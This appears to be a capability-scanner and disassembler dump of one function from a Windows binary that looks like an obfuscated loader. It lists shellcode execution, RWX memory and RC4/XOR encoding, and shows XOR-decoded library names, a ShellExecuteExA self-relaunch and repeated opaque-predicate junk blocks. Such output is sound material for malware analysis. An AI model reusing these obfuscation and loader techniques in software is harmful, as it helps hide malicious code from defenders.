Function at 0x14001012c
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14007f010
sub rsp, rax
mov rax, qword [0x1400d1700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0xd]
mov ebx, 0x92f30d33
mov r13d, 0xae5f3bfe
mov r15d, 0x1b6c2ecb
mov r14d, 0x3d33a2ba
cmp rax, r13
jne 0x140010238
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010218
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010218
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010238
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov edi, 0xae5f3bfe
mov ecx, edi
call fcn.140003654
mov rax, qword gs:[0xd]
mov r12d, 0xec8a9920
cmp rax, r13
jne 0x1400102f4
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400102d4
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400102d4
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400102f4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
movabs rsi, 0x4e682bb16d2bb992
cmp rax, r13
jne 0x1400103a8
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010388
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010388
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400103a8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov ecx, edi
call fcn.14000f6b4
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140010468
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010448
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010448
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010468
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140010512
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400104f2
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400104f2
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010512
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
lea rdx, [0x1400c5670]
lea rcx, [rbp + 0x998]
call fcn.140003018
mov rdx, rax
mov ecx, edi
call fcn.1400063e4
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400105e8
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400105c8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400105c8
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400105e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140010692
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010672
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010672
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010692
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov dword [rbp + 0x90], 0x53702640
xor r14d, r14d
mov dword [rbp + 0x94], 0xfe5d3f00
mov word [rbp + 0x98], 0x65
mov edi, r14d
movabs rsi, 0x17e85ebeb
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14001fb04
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x1400106bf
mov byte [rbp + 0x99], r14b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0xd]
cmp rax, r13
movabs rsi, 0x4e682bb16d2bb992
jne 0x1400107cc
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400107ac
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400107ac
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400107cc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140010876
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010856
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010856
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010876
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov dword [rbp + 0x1f0], 0x23f3d3ea
mov dword [rbp + 0x1f4], 0x22f89a81
mov dword [rbp + 0x1f8], 0x6776cdf4
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r14
movabs rbx, 0x17e85ebeb
mov qword [rsp + 0x20], rbx
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14001f760
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x1400108a9
mov byte [rbp + 0x1fc], r14b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0xd]
cmp rax, r13
mov ebx, 0x92f30d33
jne 0x1400109a0
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010980
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010980
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400109a0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14000f8f0
test eax, eax
jne 0x140010c4c
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400a8870
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140010abd
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400a8870
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0xe6f7a6c9
mov word [rbp - 0x6c], 0xa3
movabs rsi, 0x17e85ebeb
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14001fa90
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x140010a2d
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14001f3e8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140010ac7
movabs rsi, 0x17e85ebeb
mov word [rsp + 0x78], reloc.WLDAP32.dll_Ordinal_30
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_30
lea rcx, [rsp + 0x78]
call fcn.14001f938
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r14b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14000f770
mov rbx, rax
movdqa xmm0, xmmword [0x1400c6960]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400c66b0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0x3b933acf
mov dword [rbp + 0xc1c], 0x855bf4e2
mov dword [rbp + 0xc20], 0xf22d4c21
mov word [rbp + 0xc24], Ordinal_217
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14001fa1c
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x140010b4c
mov byte [rbp + 0xc25], r14b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140020ab0
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140020c70
lea rcx, [rbp + 0x9d8]
call fcn.1400205c8
lea rcx, [rbp + 0x9b8]
call fcn.1400205c8
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], Ordinal_41
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14001f518
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x140010be5
mov byte [rbp + 0x2b9], r14b
lea rcx, [rbp + 0x11a8]
call fcn.14002021c
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140010cf6
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010cd6
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010cd6
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010cf6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140010db7
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010d97
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010d97
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010db7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140010e61
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010e41
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010e41
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010e61
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140010f0b
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010eeb
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010eeb
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010f0b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140010fc6
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010fa6
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010fa6
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010fc6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
xor ecx, ecx
call fcn.140086ae4
mov rbx, rax
mov word [rsp + 0x7c], 0x45
movabs r12, 0x17e85ebeb
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0x45
lea rcx, [rsp + 0x7c]
call fcn.14001f938
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r14b
mov dword [rbp - 0x60], 0xe035b89d
or rax, 0xffffffffffffffff
mov byte [rbp - 0x5c], al
mov word [rbp - 0x5b], Ordinal_143
mov rdi, r14
mov qword [rsp + 0x20], r12
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14001f7d8
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x14001101b
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.140089fc4
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14001110c
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400110ec
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400110ec
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001110c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400111c9
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400111a9
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400111a9
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400111c9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov ecx, 2
call fcn.140086ae4
mov rbx, rax
mov word [rbp - 0x80], 0x40
movabs r12, 0x17e85ebeb
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0x40
lea rcx, [rbp - 0x80]
call fcn.14001f938
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov dword [rbp - 0x38], 0x841045be
mov dword [rbp - 0x34], 0x571dfb
mov rdi, r14
mov qword [rsp + 0x20], r12
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14001f9a8
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x140011217
mov byte [rbp - 0x31], r14b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.140089fc4
mov rax, qword gs:[0xd]
cmp rax, r13
mov r12d, 0xec8a9920
jne 0x14001130d
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400112ed
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400112ed
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001130d
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400113b7
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140011397
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140011397
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400113b7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov ecx, 1
call fcn.140086ae4
mov rbx, rax
mov word [rbp - 0x7c], 0x40
movabs rsi, 0x17e85ebeb
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x40
lea rcx, [rbp - 0x7c]
call fcn.14001f938
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x30], 0x841045be
mov dword [rbp - 0x2c], 0x571dfb
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14001f9a8
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x140011405
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.140089fc4
mov rax, qword gs:[0xd]
cmp rax, r13
movabs rsi, 0x4e682bb16d2bb992
jne 0x140011512
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400114f2
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400114f2
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140011512
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400115bc
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001159c
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001159c
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400115bc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c6790]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400c6740]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400c68a0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x27a5aa06
mov dword [rbp + 0xd4c], 0xa4969e7a
mov dword [rbp + 0xd50], 0x2f828625
mov word [rbp + 0xd54], 0xbd7b
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r14
movabs rbx, 0x17e85ebeb
mov qword [rsp + 0x20], rbx
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14001f8c4
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x140011628
mov byte [rbp + 0xd56], r14b
lea rcx, [rbp + 0xd18]
call fcn.140002ebc
mov rax, qword gs:[0xd]
cmp rax, r13
mov ebx, 0x92f30d33
jne 0x14001171e
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400116fe
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400116fe
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001171e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
